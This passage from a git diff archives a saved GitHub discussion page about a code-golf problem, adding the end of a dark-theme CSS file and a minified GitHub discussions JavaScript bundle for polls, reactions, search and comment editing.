#f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}} + +/*# sourceMappingURL=dark-27e9c50c7b31.css.map*/ \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js new file mode 100644 index 0000000..b0e0f01 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js @@ -0,0 +1,35 @@ +"use strict";(()=>{var te=Object.defineProperty;var o=(T,E)=>te(T,"name",{value:E,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["discussions"],{67105:(T,E,a)=>{var l=a(6741),d=a(64463),v=a(65935);(0,d.N7)(".js-discussions-goto-answer-button",{add:e=>{const t=e.getAttribute("href"),n=document.querySelector(t);n&&(0,l.RB)(e,"click",s=>{if(t){s.preventDefault();let m="center";n.getBoundingClientRect().height>=window.innerHeight&&(m="start"),n.scrollIntoView({behavior:"smooth",block:m})}},{capture:!0})}}),(0,d.N7)(".js-discussions-title-container",{add:e=>{e.querySelector(".js-discussions-goto-answer-button")?h():f()}});function h(){const e=document.querySelector(".js-discussion");e&&e.classList.add("answered")}o(h,"removeMarkAsAnswerButtons");function f(){const e=document.querySelector(".js-discussion");e&&e.classList.remove("answered")}o(f,"addMarkAsAnswerButtons"),(0,v.AC)(".js-discussion-comment-mark-answer",async function(e,t){await c(e,t)}),(0,v.AC)(".js-discussion-comment-unmark-answer",async function(e,t){await c(e,t)});async function c(e,t){const n=await t.html();let s=e;const m=e.closest("[data-replace-remote-form-target]");if(m){const y=m.getAttribute("data-replace-remote-form-target");s=y?document.getElementById(y):m}s.replaceWith(n.html)}o(c,"replaceAnswerForm");var i=a(59753),r=a(45075);(0,r.w4)("keyup",".js-discussion-category-name-field",function(){const e=document.querySelector(".js-discussion-category-form");if(!e)return;const t=e.querySelector(".js-discussion-category-name-field"),n=e.querySelector(".js-submit-discussion-category");t.value.length>0&&(n.disabled=!1)}),(0,i.on)("click",".js-discussion-category-toggle-emoji-picker",function(e){const n=u(e).querySelector(".js-discussion-category-emoji-picker");n.hidden=!n.hidden}),(0,i.on)("click",".js-discussion-category-emoji-button",function(e){if(!(e.currentTarget instanceof HTMLButtonElement))return;const t=u(e),n=t.querySelector(".js-discussion-category-emoji-field");n.value=e.currentTarget.value;const s=t.querySelector(".js-discussion-category-custom-emoji");s.innerHTML=e.currentTarget.innerHTML;for(const y of t.querySelectorAll(".selected-emoji"))y.classList.remove("selected-emoji");e.currentTarget.classList.add("selected-emoji");const m=t.querySelector(".js-discussion-category-emoji-picker");m.hidden=!0});function u(e){return e.currentTarget.closest(".js-discussion-category-form")}o(u,"getDiscussionCategoryContainer");function b(e){var t;const n=document.querySelector("#category-select-header"),s=document.querySelector(".js-discussion-category-select-label"),m=(t=e.querySelector(".js-discussion-category-emoji"))==null?void 0:t.cloneNode(!0),y=document.createTextNode(e.getAttribute("data-category-name")),C=e.getAttribute("data-supports-polls"),B=document.createElement("span");n instanceof HTMLElement&&(B.setAttribute("id","category-select-header"),B.setAttribute("class","css-truncate css-truncate-target"),B.setAttribute("data-supports-polls",C),m instanceof HTMLElement&&(m.classList.add("mr-2"),B.appendChild(m)),B.appendChild(y),n.replaceWith(B),s instanceof HTMLElement&&(s.hidden=!1))}o(b,"updateHeader");function p(e){const t=document.querySelector("#discussion_poll_form");!t||(t.hidden=!e)}o(p,"displayPollForm"),(0,i.on)("click",".js-poll-option-template-button",function(e){var t;const s=e.currentTarget.parentElement,m=s.querySelector(".js-poll-option-destroy-field"),y=s.closest(".js-discussion-poll-form-component");m?(m.value="true",(t=m.nextElementSibling)==null||t.classList.remove("js-poll-option"),s.hidden=!0):s.remove();const C=document.querySelector(".js-add-poll-option");(C==null?void 0:C.hidden)&&(C.hidden=!1,C.setAttribute("aria-hidden","false")),y&&(0,i.f)(y,"pollOptionRemoved")}),(0,i.on)("click",".js-add-poll-option",function(e){const t=e.currentTarget,n=document.querySelector("#poll-option-container"),s=+n.getAttribute("data-poll-options-limit"),m=document.querySelector(".js-poll-option-template"),y=n.getAttribute("data-new-discussion")==="true";if(n&&m){const B=m.cloneNode(!0);B.hidden=!1;const Y=B.querySelector(".js-poll-option-template-input");if(y)Y.name="discussion[poll_attributes][options_attributes][][option]";else{const At=n.getAttribute("data-poll-option-next-key");Y.name=`discussion[poll_attributes][options_attributes][${At}][option]`,n.setAttribute("data-poll-option-next-key",`${parseInt(At)+1}`)}n.appendChild(B)}const C=n.querySelectorAll(".js-poll-option").length;t&&C>=s&&(t.hidden=!0,t.setAttribute("aria-hidden","true"))}),(0,i.on)("change","#js-verify-searched",function(e){const t=e.currentTarget,n=document.querySelector("#submit"),s=document.querySelector("#new_discussion");s instanceof HTMLFormElement&&s.checkValidity()&&n&&(n.disabled=!t.checked)}),(0,i.on)("change","#js-discussion-title",function(e){const t=e.currentTarget,n=document.querySelector("#js-similar-search-link");if(n instanceof HTMLAnchorElement&&t instanceof HTMLInputElement){const s=n.getAttribute("data-path");n.href=`${s}${encodeURIComponent(t.value)}`}}),(0,i.on)("details-menu-selected",".js-discussion-category-select",function(e){const t=e.detail.relatedTarget,n=document.querySelector("#discussion_category_id"),s=document.querySelector("#submit"),m=document.querySelector("#new_discussion"),y=document.querySelector("#js-verify-searched");let C=!0;y instanceof HTMLInputElement&&(C=y.checked,s instanceof HTMLButtonElement&&!C&&(s.disabled=!0)),b(t);const B=t.getAttribute("data-supports-polls");if(n instanceof HTMLInputElement){if(n.setAttribute("value",t.id),B==="true"){const Y=document.querySelector(".js-previewable-comment-form");(Y==null?void 0:Y.classList.contains("preview-selected"))||p(!0)}else p(!1);m instanceof HTMLFormElement&&m.checkValidity()&&C&&(s==null||s.removeAttribute("disabled"))}},{capture:!0});var w=a(29719);(0,d.N7)(".js-discussions-comment-actions-button",{subscribe:e=>(0,l.RB)(e,"mouseover",M,{capture:!1,once:!0})}),(0,i.on)("click",".js-discussions-comment-actions-button",function({currentTarget:e}){R(e)}),(0,d.N7)(".js-discussions-comment-actions-rendered-button",{add:e=>W(e)});function M(e){const t=e.currentTarget;g(t)}o(M,"handleMouseover");function W(e){const t=e.closest(".timeline-comment-actions");if(!!t&&t.hasAttribute("data-open-after-click")){t.removeAttribute("data-open-after-click");const n=e.closest("details");if(!n)return;n.setAttribute("open","")}}o(W,"conditionallyOpenMenu");async function g(e){if(!e)return;const t=e.closest(".timeline-comment-actions");if(!t)return;const n=t.querySelector(".js-discussions-comment-actions-container");if(!n)return;const s=n.getAttribute("data-comment-actions-url");if(!s)return;const m=await(0,w.a)(document,s);!m||n.replaceWith(m)}o(g,"insertCommentActions");function R(e){if(!e)return;const t=e.closest(".timeline-comment-actions");!t||t.setAttribute("data-open-after-click","")}o(R,"setClickAfterInsert");var x=a(69567),$=a(55741);(0,d.N7)(".js-discussions-comment-edit-button",{subscribe:e=>(0,l.RB)(e,"click",Z,{capture:!1,once:!0})}),(0,d.N7)(".js-task-list-container .contains-task-list",{add:async e=>I(e)}),(0,d.N7)(".js-discussion-poll-form-component",{subscribe:e=>(0,l.RB)(e,"pollOptionRemoved",X)}),(0,r.w4)("keyup",".js-discussion-poll-form-component input",X);async function I(e){const t=e.closest(".js-comment"),n=j(t);if(n){if(n.querySelector(".js-preview-body"))return;const m=n.getAttribute("data-permissions-url"),y=L(n).targetType;m&&y&&await H(m,y)&&(J(t),D(t))}}o(I,"conditionallyRenderEditForm");async function H(e,t){return(await(await fetch(e,{headers:{Accept:"application/json"}})).json())[t].update}o(H,"fetchAndReturnUpdatePermission");function Z(e){const n=e.currentTarget.closest(".js-comment");J(n),D(n),G(n)}o(Z,"handleClick");function X(e){const n=e.currentTarget.closest(".js-comment");if(n){const s=n.querySelector(".js-discussion-poll-form-component");s&&nt(n,(0,$.T)(s))}}o(X,"handlePollModificationEvent");function D(e){const t=e.querySelector(".js-discussions-markdown-toolbar-placeholder:last-child");if(t){const n={textareaId:t.getAttribute("data-textarea-id")};A("template.js-discussions-markdown-toolbar-template",t,n)}}o(D,"insertMarkdownToolbar");function G(e){const t=e.querySelector(".js-discussions-poll-edit-placeholder");if(t){const n=t.getAttribute("data-poll-edit-url");if(n==="")return;A("template.js-discussions-poll-edit-template",t,{pollEditUrl:n})}}o(G,"insertPollEditForm");function J(e){const t=j(e);if(t){const n=L(t);A("template.js-discussions-edit-form-template",t,n),q(e,n)}}o(J,"insertEditForm");function q(e,t){const n=F(e);n&&A("template.js-discussions-edit-actions-template",n,t)}o(q,"insertEditFormActions");function tt(e){const t=F(e);t&&A("template.js-discussions-poll-confirmation-template",t,{})}o(tt,"insertPollEditConfirmationPrompt");function nt(e,t){const n=j(e);if(n.getAttribute("data-poll-confirmation")==="true"!==t)if(t)tt(e),n.setAttribute("data-poll-confirmation","true");else{const m=L(n);q(e,m),n.setAttribute("data-poll-confirmation","false")}}o(nt,"toggleFormActionVariant");function j(e){return e.querySelector(".js-edit-comment-form-container")}o(j,"editFormTargetContainer");function F(e){return e.querySelector(".js-discussions-edit-form-actions")}o(F,"editFormActionsContainer");function L(e){return{bodyVersion:e.getAttribute("data-body-version"),outerDivClasses:e.getAttribute("data-outer-div-classes"),repositoryId:e.getAttribute("data-repository-id"),targetBody:e.getAttribute("data-target-body"),targetType:e.getAttribute("data-target-type"),textareaId:e.getAttribute("data-textarea-id"),slashCommandUrl:e.getAttribute("data-slash-command-url"),pollEditUrl:e.getAttribute("data-poll-edit-url")}}o(L,"editFormTemplateReplacements");function A(e,t,n){const s=document.querySelector(e);s&&(t.innerHTML="",t.appendChild(new x.R(s,n)))}o(A,"insertTemplate"),(0,d.N7)(".js-optimistic-reaction-render-button",{subscribe:e=>(0,l.RB)(e,"click",S,{capture:!1})});function S(e){const t=e.currentTarget;if(t){const n=new _(t);setTimeout(()=>{n.render()},1)}}o(S,"handleReactionEvent");class _{constructor(t){this.clickedReactionButton=t}render(){if(!this.isReactionAlreadyRendered)return this.addNewReactionGroup();this.isAddingReaction?this.addReactionToGroup():this.removeReactionFromGroup()}addReactionToGroup(){this.existingReactionGroupCountContainer&&this.existingReactionGroup&&(this.existingReactionGroup.removeAttribute("hidden"),this.existingReactionGroup.classList.add("user-has-reacted"),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount+1}`,this.addReactionToPopoverReactionButtons())}removeReactionFromGroup(){var t;this.existingReactionGroupCount===1&&this.existingReactionGroup.setAttribute("hidden",""),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount-1}`,(t=this.existingReactionGroup)==null||t.classList.remove("user-has-reacted"),this.removeReactionFromPopoverReactionButtons()}addNewReactionGroup(){const t=this.newEmojiButtonFromTemplate();this.newEmojiButtonTemplateContainer&&t&&this.commentReactionsContainer&&(this.nextButtonGroup?this.reactionGroupsContainer.insertBefore(t,this.nextButtonGroup):this.reactionGroupsContainer.append(t),t.classList.add(this.tooltipPositionClass),this.addReactionToPopoverReactionButtons(),this.commentReactionsContainer.classList.contains("d-md-none")&&this.commentReactionsContainer.classList.add("has-reactions"))}newEmojiButtonFromTemplate(){if(this.newEmojiButtonTemplateContainer){const n=this.newEmojiButtonTemplateContainer.content.querySelector(".js-reaction-group-button");if(n)return n.cloneNode(!0)}}get nextButtonGroup(){if(this.newEmojiButtonFromTemplatePosition!==void 0&&this.newEmojiButtonFromTemplatePosition!==null){const t=this.reactionGroupsContainer.children;for(const n of t)if(Number(n.getAttribute("data-button-index-position"))>this.newEmojiButtonFromTemplatePosition)return n}}get commentContainer(){return this.clickedReactionButton.closest(".js-comment")}get buttonsContainer(){return this.commentContainer.querySelector(".js-reaction-buttons-container")}get reactionContent(){return this.clickedReactionButton.getAttribute("data-reaction-content")}get reactionGroup(){return this.buttonsContainer.querySelector(`.js-comment-reactions-options g-emoji[alias='${this.reactionContent}'`)}get existingReactionGroup(){if(this.reactionGroup)return this.reactionGroup.closest(".js-reaction-group-button")}get existingReactionGroupCountContainer(){if(this.existingReactionGroup)return this.existingReactionGroup.querySelector(".js-discussion-reaction-group-count")}get newEmojiButtonTemplateContainer(){return document.getElementById(`emoji-reaction-button-template-${this.reactionContent}`)}get commentReactionsContainer(){return this.buttonsContainer.closest(".js-reaction-buttons-container")}get reactionGroupsContainer(){return this.buttonsContainer.querySelector(".js-comment-reactions-options")}get isReactionAlreadyRendered(){return!!this.reactionGroup}get isAddingReaction(){if(this.existingReactionGroup)return!this.existingReactionGroup.classList.contains("user-has-reacted")}get existingReactionGroupCount(){return this.existingReactionGroupCountContainer?Number(this.existingReactionGroupCountContainer.innerHTML):0}get newEmojiButtonFromTemplatePosition(){const t=this.newEmojiButtonFromTemplate();if(t)return Number(t.getAttribute("data-button-index-position"))}get tooltipPositionClass(){return this.buttonsContainer.querySelectorAll("button").length>1?"tooltipped-s":"tooltipped-se"}addReactionToPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.add("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)||(s.value=s.value.replace(/react/,"unreact"))}}removeReactionFromPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.remove("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)&&(s.value=s.value.replace(/unreact/,"react"))}}}o(_,"OptimisticReactionRenderer");var N=a(97730);(0,d.N7)(".js-inline-comment-form-container",{add:e=>U(e)}),(0,i.on)("click",".js-discussions-previewable-comment-form",function({currentTarget:e}){P(e,{willFocus:!0})}),(0,d.N7)(".js-discussions-previewable-comment-form-auto-replace",{add:e=>P(e,{willFocus:!1})}),(0,i.on)("quote-selection",".js-discussion-quote-selection",function(e){const t=e.detail,n=t.closest(".js-timeline-discussion-comment");if(!n)return;const s=t.range;P(n,{willFocus:!0}),t.range=s});function U(e){const t=e.closest(".discussion-timeline-item.js-comment-container");t&&t.getAttribute("data-open-edit-form-after-load")==="true"&&(t.setAttribute("data-open-edit-form-after-load","false"),P(e,{willFocus:!0}))}o(U,"conditionallyInsertForm");function P(e,t){const n=e.closest(".js-timeline-discussion-comment"),s=n.querySelector(".js-discussions-previewable-comment-form-container");if(!s)return;const m=s.getAttribute("data-parent-comment-id"),y=s.getAttribute("data-anchor-id"),C=s.getAttribute("data-back-page"),B=document.querySelector("template.js-new-comment-template");m&&B&&!s.querySelector(".js-discussion-comment-form")&&(s.innerHTML="",s.appendChild(new x.R(B,{id:m,random:crypto.randomUUID(),anchorId:y,backPage:C}))),t.willFocus&&(0,N.j)(n)}o(P,"insertForm"),(0,v.AC)(".js-discussions-previewable-comment-form-container .js-discussion-comment-form",async function(e,t){var n;await t.text(),(0,N.w)(e),(n=e.closest(".js-discussions-previewable-comment-form-container").querySelector(".js-comment-form-error"))==null||n.classList.add("d-none")});var V=a(32750),k=a(36162),z=a(15205),et=a(56238),at=a(41311);async function ot(){const e=O(),t=e.value,s=t.slice(0,e.selectionEnd).split(/\s+/).pop();st().hidden=!1,O().setAttribute("aria-expanded","true");const[m,y]=s.split(":");y!=null?await Pt(m,y):Dt(m);const C=Lt();t.trim().length>0?(C.hidden=!1,(0,V.T_)(Q())):(C.hidden=!0,(0,V.QZ)(Q()))}o(ot,"updateSearchSuggestionResults");function Ct(){const e=O();e.value="",e.getAttribute("data-initial-value").trim().length===0?ot():(0,et.Bt)(Q())}o(Ct,"handleSearchClear");function Tt(e){switch(e.detail.hotkey){case"Enter":if(O().value.trim()!==""||lt().querySelector(".js-navigation-item.navigation-focus"))return;(0,et.Bt)(Q());return;case"Escape":st().hidden=!0,O().setAttribute("aria-expanded","false");break}}o(Tt,"handleSearchInputKeydown");function _t(e){if(e&&e.target){const t=e.target,n=O();n!=null&&n.setAttribute("aria-activedescendant",t.id)}}o(_t,"handleSearchFormFocus");function ct(){(0,V.jK)(Q()),st().hidden=!0,O().setAttribute("aria-expanded","false")}o(ct,"hideSearchSuggestions");function Rt(e){const t=O(),n=e.target;if(n.hasAttribute("data-search")){(0,et.Bt)(Q());return}let s=n.getAttribute("data-value");s[s.length-1]!==":"&&(s+=" ");const m=t.value.slice(0,t.selectionEnd).replace(/\S+$/,""),y=t.value.slice(t.selectionEnd);let C="";y.length>0&&y[0]!==" "&&(C=" "),t.value=m+s+C+y,e.preventDefault(),t.focus();const B=m.length+s.length;t.setSelectionRange(B,B),(0,i.f)(t,"input")}o(Rt,"handleSelectedSuggestionResultEvent");function Ft(){const e=O(),t=e.value.length;e.setSelectionRange(t,t),e.focus(),ct()}o(Ft,"restoreSearchInputFocus");function Q(){return document.querySelector(".js-discussion-search-form")}o(Q,"getSearchForm");function O(){return document.querySelector(".js-discussion-search-input")}o(O,"getSearchInput");function st(){return document.querySelector(".js-discussion-search-autocomplete-dropdown")}o(st,"getSearchAutocompleteDropdown");function lt(){return document.querySelector(".js-discussion-search-autocomplete-results")}o(lt,"getSearchAutocompleteResultsContainer");function Lt(){return document.querySelector(".js-discussion-search-clear")}o(Lt,"getSearchClearButton");const xt=(0,z.Z)(Bt);function Bt(){return[{value:"author:",description:"filter by discussion author"},{value:"category:",description:"filter by discussion category"},{value:"is:",description:"filter by answered or unanswered"},{value:"label:",description:"filter by discussion label"}]}o(Bt,"fetchQualifierSuggestions");async function Pt(e,t){const n=Mt(e),s=dt(n,t).then(m=>m.map(y=>({value:`${e}:${y.value}`,description:y.description})));mt(s)}o(Pt,"renderValueSuggestions");async function Mt(e){switch(e){case"author":return It();case"category":return qt();case"label":return kt();case"is":return Ot();default:return[]}}o(Mt,"fetchSuggestionsForQualifier");const ut=(0,z.Z)(async e=>await(await fetch(e,{headers:{Accept:"application/json"}})).json());async function It(){const e=O().getAttribute("data-suggestable-authors-path");return ut(e)}o(It,"fetchAuthorSuggestions");async function qt(){return JSON.parse(O().getAttribute("data-suggestable-categories"))}o(qt,"fetchCategorySuggestions");async function kt(){const e=O().getAttribute("data-suggestable-labels-path");return ut(e)}o(kt,"fetchLabelSuggestions");async function Ot(){return[{value:"answered"},{value:"unanswered"}]}o(Ot,"fetchTypeSuggestions");function Dt(e){const t=xt(),n=dt(t,e,{fuzzy:!1}).then(s=>s.length===0?t:s);mt(n)}o(Dt,"renderQualifierSuggestions");async function dt(e,t,{fuzzy:n}={fuzzy:!0}){const s=await e,m=t.trim();return!m||m.length===0?s:s.filter(y=>n?y.value.includes(m):y.value.startsWith(m))}o(dt,"filterSuggestionsList");async function mt(e){const t=e.then(n=>n.length===0?k.dy``:ft());(0,k.sY)(k.dy` +
    + ${Nt()} ${(0,at.C)(t,ft())} + ${(0,at.C)(Ut(e),k.dy` loading... `)} +
    + `,lt())}o(mt,"renderSuggestionDropdown");function ft(){return k.dy`
    + Suggested filters +
    `}o(ft,"renderSuggestionsTitle");function Nt(){const e=O().value.trim();return e.length===0?k.dy``:k.dy` +
    + ${e} + +
    + `}o(Nt,"renderSearchSuggestion");async function Ut(e){return(await e).map((n,s)=>k.dy` +
    + ${n.value} + ${n.description} +
    + `)}o(Ut,"renderSuggestionList");var $t=a(29946);(0,i.on)("focusin",".js-discussion-search-input",ot),(0,i.on)("focusout:delay",".js-discussion-search-input",ct),(0,i.on)("navigation:open",".js-discussion-search-form",e=>{Rt(e)}),(0,i.on)("navigation:focus",".js-discussion-search-form",e=>{_t(e)}),(0,i.on)("navigation:keydown",".js-discussion-search-form",e=>{Tt(e)}),(0,d.N7)(".js-discussion-search-input",e=>{e.addEventListener("input",ot)}),(0,i.on)("click",".js-discussion-search-clear",Ct);let it=!1;(0,i.on)("submit",".js-discussion-search-form",()=>(it=!0,!0));function pt(){it&&Ft(),it=!1}o(pt,"restoreFocus"),document.addEventListener("pjax:end",pt),document.addEventListener($t.QE.SUCCESS,pt);var Ht=a(42150);(0,d.N7)(".js-confetti-party",()=>{(0,Ht.Z)()}),(0,i.on)("change",".js-discussion-spotlight-preview-trigger",function(e){const t=e.currentTarget,s=t.closest("form").querySelectorAll(`input[name="${t.name}"]`);for(const m of s){const y=m.closest("label");m.checked?y.setAttribute("aria-selected","true"):y.setAttribute("aria-selected","false")}Vt(t)}),(0,i.on)("click",".js-toggle-manage-discussion-spotlight",function(e){e.target instanceof HTMLElement});function Vt(e){const n=ht(e).querySelector(".js-discussion-spotlight-preview");Gt(n)}o(Vt,"previewTriggerChanged");async function Gt(e){const t=ht(e),n=e.getAttribute("data-url"),s=new URL(n,window.location.origin),m=t.querySelector(".js-discussion-spotlight-form");s.search+=(s.search?"&":"")+(0,et.qC)(m);let y;try{y=await(0,w.a)(document,s.toString())}catch{return}e.replaceWith(y)}o(Gt,"updateSpotlightPreview");function ht(e){return e.closest(".js-manage-discussion-spotlight-container")}o(ht,"getManageSpotlightContainer"),(0,v.AC)(".js-spotlight-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove(),document.querySelector(".js-discussions-categories")&&document.querySelector(".js-discussions-categories").classList.remove("v-hidden")}),(0,d.N7)(".js-discussion-spotlights-sortable",{async add(e){const{Sortable:t}=await a.e("app_assets_modules_github_sortable-behavior_ts").then(a.bind(a,36962));t.create(e,{animation:150,handle:".js-discussion-spotlight-handle",onUpdate:async()=>{const n=e.getAttribute("data-update-url"),m=Array.from(e.querySelectorAll(".js-discussion-spotlight")).map(C=>C.getAttribute("data-id")),y=e.parentElement.querySelector(".js-data-url-csrf");!y||await fetch(n,{method:"PUT",mode:"same-origin",body:JSON.stringify({spotlight_ids:m}),headers:{"Content-Type":"application/json",Accept:"application/json","Scoped-CSRF-Token":y.value,"X-Requested-With":"XMLHttpRequest"}})}})}}),(0,i.on)("click",".js-discussion-comment-thread-expand-button",function({currentTarget:e}){const t=gt(e);!t||Wt(t)}),(0,i.on)("click",".js-discussions-fetch-all-paginated-comments",function({currentTarget:e}){const t=gt(e);!t||Kt(t)});function Wt(e){Xt(e)&&e.setAttribute("data-open-edit-form-after-load","true")}o(Wt,"conditionallyOpenEditFormAfterLoad");function Kt(e){const t=e.querySelector(".js-discussion-comment-thread-expand-button");t&&(e.setAttribute("data-open-edit-form-after-load","true"),t.click())}o(Kt,"clickShowMoreButton");function gt(e){return e.closest(".discussion-timeline-item.js-comment-container")}o(gt,"commentContainerFor");function Xt(e){const t=e.querySelector(".js-inline-comment-form-container");return t?t.classList.contains("open"):!1}o(Xt,"isReplyFormOpen"),(0,d.N7)(".js-remove-error-state-on-click > details",{add:e=>Qt(e)});function Qt(e){var t;const n=(t=document.getElementById("discussion_category_id"))==null?void 0:t.getAttribute("value");if(!n)return;const s=e.querySelector(`.discussion-category-${n}`);!s||s.click()}o(Qt,"conditionallyReselectCategory");var ee=a(62805),vt=a(12981);const Zt=o(async(e,t,n,s)=>{const m=new FormData;m.append("question",n);for(const y of s)m.append("options[]",y);return await fetch(e,{body:m,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"sendRequest");class yt{constructor(t){this.pollForm=t,this.pollPreviewUrl=this.pollForm.getAttribute("data-poll-preview-url")||""}hide(){var t;this.pollForm.hidden=!0,(t=this.pollForm)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.pollForm.hidden=!1,(t=this.pollForm)==null||t.setAttribute("aria-hidden","false")}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-poll-preview-url-post-csrf");return t?t.value:""}getOptions(){const t=[],n=this.pollForm.querySelector("#poll-option-container");if(!n)return t;const s=n.querySelectorAll(".js-poll-option");for(const m of s)m.value&&t.push(m.value);return t}getQuestion(){const t=this.pollForm.querySelector(".js-poll-form-input-question");return t?t.value:""}}o(yt,"PollFormElement");class bt{constructor(t){this.pollFormElement=t}hidePollForm(){this.pollFormElement.hide()}showPollForm(){this.pollFormElement.show()}async getPreview(){const t=this.pollFormElement.getQuestion(),n=this.pollFormElement.getOptions();return t&&n.length>0?await(await Zt(this.pollFormElement.pollPreviewUrl,this.pollFormElement.getCsrfInputValue(),t,n)).text():""}}o(bt,"Poll");let K;(0,d.N7)(".js-discussion-poll-form-component",e=>{K=new bt(new yt(e))}),(0,i.on)("preview:rendered",".js-previewable-comment-form",async function(e){if(!K)return;const n=e.currentTarget.querySelector(".comment-body"),s=await K.getPreview();n.append((0,vt.r)(document,s)),K.hidePollForm()}),(0,i.on)("poll-preview:toggle:off",".js-discussion-poll-form-component",async function(){if(!K)return;const e=document.querySelector(".js-discussion-category-select");if(e){const t=e.querySelector("#category-select-header");if(!t)return;t.getAttribute("data-supports-polls")==="true"&&K.showPollForm()}else K.showPollForm()});const zt=o(async(e,t,n)=>{const s=new FormData;return s.append("option_id",n),await fetch(e,{body:s,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"polls_voting_sendRequest");class Et{constructor(t){this.optionsElement=t}checkedValue(){var t;const n=(t=this.optionsElement)==null?void 0:t.querySelector(".js-discussion-poll-option:checked");return n==null?void 0:n.value}hide(){var t;this.optionsElement&&(this.optionsElement.hidden=!0),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.optionsElement&&(this.optionsElement.hidden=!1),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","false")}}o(Et,"PollOptionsElement");class wt{constructor(t){this.resultsElement=t}hide(){var t;this.resultsElement&&(this.resultsElement.hidden=!0),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.resultsElement&&(this.resultsElement.hidden=!1),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","false")}}o(wt,"PollResultsElement");class St{constructor(t){this.pollForm=t,this.resultsElement=new wt(t.querySelector(".js-discussion-poll-results")),this.optionsElement=new Et(t.querySelector(".js-discussion-poll-options")),this.hideResultsButton=t.querySelector(".js-poll-hide-results"),this.showResultsButton=t.querySelector(".js-poll-show-results"),this.voteButton=t.querySelector(".js-discussion-poll-vote-button"),this.voteUrl=this.pollForm.getAttribute("data-vote-url")||"",this.pollUrl=this.pollForm.getAttribute("data-poll-url")||"",this.pollLocked=this.pollForm.getAttribute("data-poll-locked")||""}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-data-url-post-csrf");return t?t.value:""}hideResults(){var t,n,s,m;this.resultsElement.hide(),this.optionsElement.show(),this.hideResultsButton&&(this.hideResultsButton.hidden=!0),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","true"),this.showResultsButton&&(this.showResultsButton.hidden=!1),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","false"),this.pollLocked==="true"?(s=this.voteButton)==null||s.setAttribute("aria-disabled","true"):(m=this.voteButton)==null||m.setAttribute("aria-disabled","false")}showResults(){var t,n,s;this.resultsElement.show(),this.optionsElement.hide(),this.hideResultsButton&&(this.hideResultsButton.hidden=!1),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","false"),this.showResultsButton&&(this.showResultsButton.hidden=!0),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","true"),(s=this.voteButton)==null||s.setAttribute("aria-disabled","true")}}o(St,"polls_voting_PollFormElement");class jt{constructor(t){this.pollFormElement=t,this.bindHideResultsClick(t.hideResultsButton),this.bindShowResultsClick(t.showResultsButton),this.bindVoteClick(t.voteButton)}bindHideResultsClick(t){t==null||t.addEventListener("click",async()=>{this.hideResults()})}bindShowResultsClick(t){t==null||t.addEventListener("click",async()=>{this.showResults()})}bindVoteClick(t){t==null||t.addEventListener("click",async()=>{this.vote()})}async vote(){const t=this.pollFormElement.optionsElement.checkedValue();if(t&&(await zt(this.pollFormElement.voteUrl,this.pollFormElement.getCsrfInputValue(),t)).ok)try{const m=await(await 